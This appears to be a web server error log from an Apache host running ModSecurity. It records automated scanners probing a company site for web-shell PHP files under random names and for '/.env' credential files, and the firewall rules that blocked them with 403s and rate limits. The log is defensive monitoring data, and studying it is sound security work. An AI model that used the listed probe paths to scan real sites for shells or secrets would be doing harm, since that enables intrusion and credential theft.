[Fri Apr 03 03:59:19.362901 2026] [:error] [pid 22778:tid 22787] [client 20.215.208.99:24993] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/q7lhrgzoo7ijhnkcedq2Cdefault.php"] [unique_id "ac7Kl_S-q9hkdFqUjq86uAAAAMI"]
[Fri Apr 03 03:59:20.010495 2026] [:error] [pid 22672:tid 22741] [client 20.215.208.99:48865] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/q7lhrgzoo7ijhnkcedq2Cdefault.php"] [unique_id "ac7KmKzrgXkFSOK0fvpYowAAAFY"]
[Fri Apr 03 03:59:20.573054 2026] [:error] [pid 22778:tid 22797] [client 20.215.208.99:48842] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/q7lhrgzoo7ijhnkcedq2Cdefault.php"] [unique_id "ac7KmPS-q9hkdFqUjq86vQAAAMw"]
[Fri Apr 03 03:59:21.192968 2026] [:error] [pid 22778:tid 22792] [client 20.215.208.99:48877] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kthusnjbc8ab0jiryls2jinCdefault.php"] [unique_id "ac7KmfS-q9hkdFqUjq86wgAAAMc"]
[Fri Apr 03 03:59:21.829534 2026] [:error] [pid 22671:tid 22694] [client 20.215.208.99:34999] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kthusnjbc8ab0jiryls2jinCdefault.php"] [unique_id "ac7KmSRuUnMW7r8hvyYiOgAAAAM"]
[Fri Apr 03 03:59:22.427439 2026] [:error] [pid 22672:tid 22743] [client 20.215.208.99:38664] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kthusnjbc8ab0jiryls2jinCdefault.php"] [unique_id "ac7KmqzrgXkFSOK0fvpYsQAAAFg"]
[Fri Apr 03 03:59:23.195367 2026] [:error] [pid 22671:tid 22698] [client 20.215.208.99:24969] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kthusnjbc8ab0jiryls2jinCdefault.php"] [unique_id "ac7KmyRuUnMW7r8hvyYiOwAAAAc"]
[Fri Apr 03 03:59:23.822215 2026] [:error] [pid 22778:tid 22793] [client 20.215.208.99:48855] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/only.php"] [unique_id "ac7Km_S-q9hkdFqUjq86zgAAAMg"]
[Fri Apr 03 03:59:24.604475 2026] [:error] [pid 22673:tid 22761] [client 20.215.208.99:27011] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/only.php"] [unique_id "ac7KnO-GlVDWdWxxwJBPkgAAAI8"]
[Fri Apr 03 03:59:25.662654 2026] [:error] [pid 22778:tid 22797] [client 20.215.208.99:65438] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/only.php"] [unique_id "ac7KnfS-q9hkdFqUjq862QAAAMw"]
[Fri Apr 03 03:59:26.590011 2026] [:error] [pid 22778:tid 22786] [client 20.215.208.99:52523] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/only.php"] [unique_id "ac7KnvS-q9hkdFqUjq864QAAAME"]
[Fri Apr 03 03:59:27.452886 2026] [:error] [pid 22672:tid 22734] [client 20.215.208.99:55019] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/repurify.php"] [unique_id "ac7Kn6zrgXkFSOK0fvpYzQAAAE8"]
[Fri Apr 03 03:59:28.299771 2026] [:error] [pid 22672:tid 22723] [client 20.215.208.99:19848] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/repurify.php"] [unique_id "ac7KoKzrgXkFSOK0fvpY0QAAAEQ"]
[Fri Apr 03 03:59:29.233819 2026] [:error] [pid 22778:tid 22789] [client 20.215.208.99:27040] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/repurify.php"] [unique_id "ac7KofS-q9hkdFqUjq866QAAAMQ"]
[Fri Apr 03 03:59:30.082199 2026] [:error] [pid 22671:tid 22693] [client 20.215.208.99:52529] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/repurify.php"] [unique_id "ac7KoiRuUnMW7r8hvyYiSAAAAAI"]
[Fri Apr 03 03:59:30.793719 2026] [:error] [pid 22778:tid 22791] [client 20.215.208.99:28558] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tdsaz.php"] [unique_id "ac7KovS-q9hkdFqUjq867wAAAMY"]
[Fri Apr 03 03:59:31.582711 2026] [:error] [pid 22672:tid 22730] [client 20.215.208.99:48894] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tdsaz.php"] [unique_id "ac7Ko6zrgXkFSOK0fvpY6wAAAEs"]
[Fri Apr 03 03:59:32.336165 2026] [:error] [pid 22672:tid 22742] [client 20.215.208.99:55029] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tdsaz.php"] [unique_id "ac7KpKzrgXkFSOK0fvpY8QAAAFc"]
[Fri Apr 03 05:59:12.563750 2026] [:error] [pid 22672:tid 22721] [client 20.63.47.115:58445] File does not exist: /usr/local/apache/htdocs/suspended-page/less.php
[Fri Apr 03 06:40:17.727870 2026] [:error] [pid 33542:tid 33552] [client 45.154.98.56:59369] File does not exist: /usr/local/apache/htdocs/suspended-page/txets.php
[Fri Apr 03 06:40:18.722475 2026] [:error] [pid 33445:tid 33471] [client 45.154.98.56:59533] [client 45.154.98.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/txets.php"] [unique_id "ac7wUllRNZ0iDVmJWM2IbgAAABU"]
[Fri Apr 03 06:40:19.226757 2026] [:error] [pid 35469:tid 35483] [client 45.154.98.56:59609] [client 45.154.98.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/rest-api/txets.php"] [unique_id "ac7wU6GvTIc8-wY3jUQR6wAAAQw"]
[Fri Apr 03 06:40:19.714025 2026] [:error] [pid 35469:tid 35494] [client 45.154.98.56:59672] [client 45.154.98.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/post-template/txets.php"] [unique_id "ac7wU6GvTIc8-wY3jUQR7AAAARc"]
[Fri Apr 03 06:40:20.698931 2026] [:error] [pid 35469:tid 35474] [client 45.154.98.56:59831] [client 45.154.98.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/txets.php"] [unique_id "ac7wVKGvTIc8-wY3jUQR8AAAAQM"]
[Fri Apr 03 06:40:21.190139 2026] [:error] [pid 35469:tid 35478] [client 45.154.98.56:59901] File does not exist: /usr/local/apache/htdocs/suspended-page/schallfuns.php
[Fri Apr 03 06:40:21.685274 2026] [:error] [pid 35469:tid 35495] [client 45.154.98.56:59997] File does not exist: /usr/local/apache/htdocs/suspended-page/postnews.php
[Fri Apr 03 19:38:34.961382 2026] [:error] [pid 33542:tid 33560] [client 172.94.9.62:35078] [client 172.94.9.62] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env"] [unique_id "ac-munwb6uB1LaGtepblQAAAAM8"]
[Fri Apr 03 19:38:34.964574 2026] [:error] [pid 35469:tid 35495] [client 172.94.9.62:35070] [client 172.94.9.62] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/app/.env"] [unique_id "ac-muqGvTIc8-wY3jURDMAAAARg"]
[Fri Apr 03 19:38:35.959265 2026] [:error] [pid 33446:tid 33488] [client 172.94.9.62:41944] [client 172.94.9.62] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/app/.env"] [unique_id "ac-mu9g3dCqFYIIdw0oqNwAAAEs"]
[Fri Apr 03 19:38:35.959683 2026] [:error] [pid 33542:tid 33553] [client 172.94.9.62:41960] [client 172.94.9.62] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env"] [unique_id "ac-mu3wb6uB1LaGtepblQwAAAMg"]
[Sat Apr 04 00:28:05.070274 2026] [:error] [pid 40533:tid 40551] [client 20.215.254.185:61506] File does not exist: /usr/local/apache/htdocs/suspended-page/CDX2.php
[Sat Apr 04 00:28:05.330575 2026] [:error] [pid 40533:tid 40538] [client 20.215.254.185:61506] File does not exist: /usr/local/apache/htdocs/suspended-page/gvg1bvpsgtot1rpklCdefault.php
[Sat Apr 04 00:28:05.589577 2026] [:error] [pid 40533:tid 40540] [client 20.215.254.185:61506] File does not exist: /usr/local/apache/htdocs/suspended-page/wtiiy.php
[Sat Apr 04 00:28:05.848248 2026] [:error] [pid 40533:tid 40551] [client 20.215.254.185:61506] File does not exist: /usr/local/apache/htdocs/suspended-page/file61.php
[Sat Apr 04 00:28:06.106819 2026] [:error] [pid 40533:tid 40547] [client 20.215.254.185:61506] File does not exist: /usr/local/apache/htdocs/suspended-page/term.php
[Sat Apr 04 00:28:06.371659 2026] [:error] [pid 40533:tid 40540] [client 20.215.254.185:61506] File does not exist: /usr/local/apache/htdocs/suspended-page/qiumnpor3orjwr6me3zmgqCdefault.php
[Sat Apr 04 00:28:06.630293 2026] [:error] [pid 40533:tid 40553] [client 20.215.254.185:61506] File does not exist: /usr/local/apache/htdocs/suspended-page/Ov-Simple1.php
[Sat Apr 04 00:28:06.889548 2026] [:error] [pid 40533:tid 40558] [client 20.215.254.185:61506] File does not exist: /usr/local/apache/htdocs/suspended-page/asasx.php
[Sat Apr 04 00:28:07.155007 2026] [:error] [pid 40533:tid 40553] [client 20.215.254.185:61506] File does not exist: /usr/local/apache/htdocs/suspended-page/only.php
[Sat Apr 04 00:28:07.415089 2026] [:error] [pid 40533:tid 40558] [client 20.215.254.185:61506] File does not exist: /usr/local/apache/htdocs/suspended-page/t2gorhwasq4vioshtatw5eCdefault.php
[Sat Apr 04 00:28:09.313656 2026] [:error] [pid 40533:tid 40558] [client 20.215.254.185:61506] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwx1.php"] [unique_id "ac_qmfbIAA8AViDmwssK2gAAAVc"]
[Sat Apr 04 00:28:09.825659 2026] [:error] [pid 33445:tid 33451] [client 20.215.254.185:59222] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwx1.php"] [unique_id "ac_qmVlRNZ0iDVmJWM2FDwAAAAE"]
[Sat Apr 04 00:28:10.354958 2026] [:error] [pid 40562:tid 40566] [client 20.215.254.185:61555] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwx1.php"] [unique_id "ac_qmjfFMXuP9zvqCerCaAAAAYE"]
[Sat Apr 04 00:28:10.881668 2026] [:error] [pid 40533:tid 40553] [client 20.215.254.185:61077] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwx1.php"] [unique_id "ac_qmvbIAA8AViDmwssK3QAAAVI"]
[Sat Apr 04 00:28:11.396271 2026] [:error] [pid 33542:tid 33569] [client 20.215.254.185:61536] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bolt.php"] [unique_id "ac_qm3wb6uB1LaGtepY_mAAAANg"]
[Sat Apr 04 00:28:11.919680 2026] [:error] [pid 33447:tid 33509] [client 20.215.254.185:60593] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bolt.php"] [unique_id "ac_qm0gaPmDHz92j4lNwoAAAAIU"]
[Sat Apr 04 00:28:12.438250 2026] [:error] [pid 33446:tid 33483] [client 20.215.254.185:63219] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bolt.php"] [unique_id "ac_qnNg3dCqFYIIdw0qqHQAAAEY"]
[Sat Apr 04 00:28:12.955529 2026] [:error] [pid 33447:tid 33525] [client 20.215.254.185:61527] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bolt.php"] [unique_id "ac_qnEgaPmDHz92j4lNwogAAAJU"]
[Sat Apr 04 00:28:13.467701 2026] [:error] [pid 35469:tid 35492] [client 20.215.254.185:59248] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Sanskrit.php"] [unique_id "ac_qnaGvTIc8-wY3jUTWdwAAARU"]
[Sat Apr 04 00:28:13.984593 2026] [:error] [pid 40562:tid 40568] [client 20.215.254.185:60553] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Sanskrit.php"] [unique_id "ac_qnTfFMXuP9zvqCerCbgAAAYM"]
[Sat Apr 04 00:28:14.500770 2026] [:error] [pid 40533:tid 40540] [client 20.215.254.185:56199] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Sanskrit.php"] [unique_id "ac_qnvbIAA8AViDmwssK5wAAAUU"]
[Sat Apr 04 00:28:15.015459 2026] [:error] [pid 40533:tid 40539] [client 20.215.254.185:60596] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Sanskrit.php"] [unique_id "ac_qn_bIAA8AViDmwssK7AAAAUQ"]
[Sat Apr 04 00:28:15.529267 2026] [:error] [pid 33446:tid 33479] [client 20.215.254.185:59256] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "ac_qn9g3dCqFYIIdw0qqIQAAAEI"]
[Sat Apr 04 00:28:16.051375 2026] [:error] [pid 40533:tid 40556] [client 20.215.254.185:64483] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "ac_qoPbIAA8AViDmwssK8gAAAVU"]
[Sat Apr 04 00:28:16.574319 2026] [:error] [pid 40533:tid 40552] [client 20.215.254.185:59202] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "ac_qoPbIAA8AViDmwssK9wAAAVE"]
[Sat Apr 04 00:28:17.099253 2026] [:error] [pid 33542:tid 33545] [client 20.215.254.185:63217] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "ac_qoXwb6uB1LaGtepY_nwAAAMA"]
[Sat Apr 04 00:28:17.622226 2026] [:error] [pid 33446:tid 33490] [client 20.215.254.185:60569] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws88.php"] [unique_id "ac_qodg3dCqFYIIdw0qqIwAAAE0"]
[Sat Apr 04 00:28:18.141357 2026] [:error] [pid 40562:tid 40584] [client 20.215.254.185:60555] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws88.php"] [unique_id "ac_qojfFMXuP9zvqCerCdAAAAZM"]
[Sat Apr 04 00:28:18.652287 2026] [:error] [pid 40562:tid 40574] [client 20.215.254.185:63226] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws88.php"] [unique_id "ac_qojfFMXuP9zvqCerCdQAAAYk"]
[Sat Apr 04 00:28:19.163748 2026] [:error] [pid 33446:tid 33488] [client 20.215.254.185:64481] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws88.php"] [unique_id "ac_qo9g3dCqFYIIdw0qqJwAAAEs"]
[Sat Apr 04 00:28:19.682445 2026] [:error] [pid 40562:tid 40565] [client 20.215.254.185:63187] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/6xBAm3vODE05BSzkJZRAws.php"] [unique_id "ac_qozfFMXuP9zvqCerCfAAAAYA"]
[Sat Apr 04 00:28:20.197983 2026] [:error] [pid 40562:tid 40584] [client 20.215.254.185:56248] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/6xBAm3vODE05BSzkJZRAws.php"] [unique_id "ac_qpDfFMXuP9zvqCerCgAAAAZM"]
[Sat Apr 04 00:28:20.724024 2026] [:error] [pid 33542:tid 33548] [client 20.215.254.185:47571] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/6xBAm3vODE05BSzkJZRAws.php"] [unique_id "ac_qpHwb6uB1LaGtepY_pQAAAMM"]
[Sat Apr 04 00:28:21.247806 2026] [:error] [pid 33542:tid 33566] [client 20.215.254.185:63786] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/6xBAm3vODE05BSzkJZRAws.php"] [unique_id "ac_qpXwb6uB1LaGtepY_pgAAANU"]
